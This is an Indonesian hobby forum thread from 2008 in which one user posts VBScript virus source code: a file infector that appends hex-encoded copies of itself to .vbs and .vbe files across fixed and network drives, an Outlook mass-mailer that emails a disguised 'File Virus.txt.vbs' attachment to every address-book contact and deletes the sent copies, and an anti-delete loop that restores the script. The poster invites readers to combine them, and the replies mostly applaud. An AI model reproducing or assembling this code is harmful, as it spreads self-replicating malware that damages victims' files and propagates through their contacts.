Hikari Community
Would you like to react to this message? Create an account in a few clicks or log in to continue.


Cahaya yang menyinari forum [COMICK, MUSIC, GAME, ANIME & COMPUTER] @ Hikari-Community [at] dal.net
 
HomePortalLatest imagesSearchRegisterLog in

 

 Source Code Virus .vbs

Go down 
4 posters
AuthorMessage
Mr.C
Hikari Newbie
Hikari Newbie



Jumlah posting : 19
Reputation : 0
Join date : 2008-06-01

Source Code Virus .vbs Empty
PostSubject: Source Code Virus .vbs   Source Code Virus .vbs EmptyMon Jul 28, 2008 8:23 pm

Nih ada beberapa SC virus pake .vbs

Tujuannya buat pembelajaran saja, gw gak bertanggung jawab jika terjadi penyalahgunaan... Source Code Virus .vbs 986812 Source Code Virus .vbs 986812 Source Code Virus .vbs 986812

Infeksi File Antar Visual Basic Script (.VBS)
Code:

On Error Resume Next
Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Angel1()
Sub Angel1()
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
For Each SalinMawarPutih In a.Drives
If SalinMawarPutih.DriveType = 2 _
Or SalinMawarPutih.DriveType = 3 Then
Angel3 (SalinMawarPutih.Path & "\")
End If
Next
End Sub
Sub Angel2(FileTarget)
On Error Resume Next
Set otf = a.GetFile(WScript.ScriptFullName)
ra = otf.ReadAll
otf.Close
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.Files
FileExt = LCase(a.GetExtensionName(n.Path))
If FileExt = "vbs" Or FileExt = "vbe" Then
Set openvbs = a.OpenTextFile(n.Path, 1)
vbsra = openvbs.ReadAll
openvbs.Close
If InStr(1, vbsra, "Tips And Trik  by ") = False Then
Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Set JC = MawarPutih.OpenTextFile(WScript.ScriptFullName, 1)
RantingMawarPutih = JC.ReadAll
JC.Close
Set MawarMerah = MawarPutih.OpenTextFile(n.Path, 8, True)
MawarMerah.WriteLine vbCrLf & "' Hack .VBS  by " & vbCrLf & "Tz = " & Chr(34) & Chr(34)
For i = 1 To Len(RantingMawarPutih)
Tz = Mid(RantingMawarPutih, i, 1)
Tz = Hex(Asc(Tz))
If Len(Tz) = 1 Then
Tz = "0" & Tz
End If
Gz = Gz + Tz
If Len(Gz) = 110 Then
MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
If Len(RantingMawarPutih) - i = 0 Then
MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
Next
MawarMerah.WriteLine "Set MawarPutih = CreateObject(""Scripting.FileSystemObject"")"
MawarMerah.WriteLine "WriteAppend.Write CM(Tz)"
MawarMerah.WriteLine "WriteAppend.Close"
MawarMerah.WriteLine "Function CM(CN)"
MawarMerah.WriteLine "For GC = 1 To Len(CN) Step 2"
MawarMerah.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))"
MawarMerah.WriteLine "Next"
MawarMerah.WriteLine "End Function"
MawarMerah.Close
End If
End If
Next
End Sub
Sub Angel3(FileTarget)
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.SubFolders
Angel2 (n.Path)
Angel3 (n.Path)
Next
End Sub


penyebaran Melalui E-mail Via Outlook

Code:

On Error Resume Next

Set MawarPutih = CreateObject("Scripting.FileSystemObject")
Set MawarMerah = MawarPutih.GetFile(WScript.ScriptFullName)
MawarMerah.Copy (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
Set Attachments = MawarPutih.GetFile(MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
Attachments.Attributes = 0
Set RantingMawar = CreateObject("Outlook.Application")
If Not RantingMawar = "" Then
For Each DuriMawar In RantingMawar.GetNameSpace("MAPI").AddressLists
For DaunMawar = 1 To DuriMawar.AddressEntries.Count
Set BagianEmail = RantingMawar.CreateItem(0)
BagianEmail.Recipients.Add (DuriMawar.AddressEntries(DaunMawar))
BagianEmail.Subject = "Judul Pesan"
BagianEmail.Body = "Isi Pesan"
BagianEmail.Attachments.Add (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
BagianEmail.DeleteAfterSubmit = True
BagianEmail.Send
Next
Next
End If


Anti Delete

Code:

On Error Resume Next

Set MawarPutih= Createobject("scripting.filesystemobject")
Set MawarMerah= MawarPutih.opentextfile(wscript.scriptfullname, 1)
BatangMawar= MawarMerah.readall
MawarMerah.Close
Do
If Not (MawarPutih.fileexists(wscript.scriptfullname)) Then
Set DuriMawar= MawarPutih.createtextfile(wscript.scriptfullname, True)
DuriMawar.writeBatangMawar
DuriMawar.Close
End If
Loop

semua code diatas.. bisa kalian jadiin 1.. tinggal kreasinya aja...
thx_to:Shadow Angel
Back to top Go down
ea_ngel
Hikari Master
Hikari Master
ea_ngel


Jumlah posting : 657
Reputation : 2
Join date : 2008-04-18

Status
Race: Undead
Class: Magician

Source Code Virus .vbs Empty
PostSubject: Re: Source Code Virus .vbs   Source Code Virus .vbs EmptyTue Aug 19, 2008 12:17 pm

Nice share

Tp paling bagus, klo di buat virusnya dibuat juga antivirusnya.
Supaya bisa membantu juga yg kena virusnya
Back to top Go down
M364TR0N
Hikari Addict
Hikari Addict
M364TR0N


Jumlah posting : 106
Reputation : 0
Join date : 2008-05-17

Source Code Virus .vbs Empty
PostSubject: Re: Source Code Virus .vbs   Source Code Virus .vbs EmptyTue Aug 19, 2008 8:53 pm

@Mr.C

itu efek ke kompie nya gmn ??
Back to top Go down
http://profiles.friendster.com/56783059
chevi
Hikari Newbie
Hikari Newbie



Jumlah posting : 5
Reputation : 0
Join date : 2009-08-12

Source Code Virus .vbs Empty
PostSubject: Re: Source Code Virus .vbs   Source Code Virus .vbs EmptyWed Aug 12, 2009 8:34 pm

mantap juga bozzz....
tapi antinya mana ya..hohohohoh
sekalian dunk...hohohohohoh Twisted Evil Twisted Evil Twisted Evil
Back to top Go down
Sponsored content





Source Code Virus .vbs Empty
PostSubject: Re: Source Code Virus .vbs   Source Code Virus .vbs Empty

Back to top Go down
 
Source Code Virus .vbs
Back to top 
Page 1 of 1
 Similar topics
-
» Source Code Game ringan c + +
» Source Virus Matrix.exe (katanya sich sadis)
» css with js code
» Bikin virus yukkk
» 6 Langkah Membersihkan Virus 'CNN'

Permissions in this forum:You cannot reply to topics in this forum
Hikari Community :: Komputer :: Malicious Code [Malware, Virus, Hijack, Spyware dll]-
Jump to: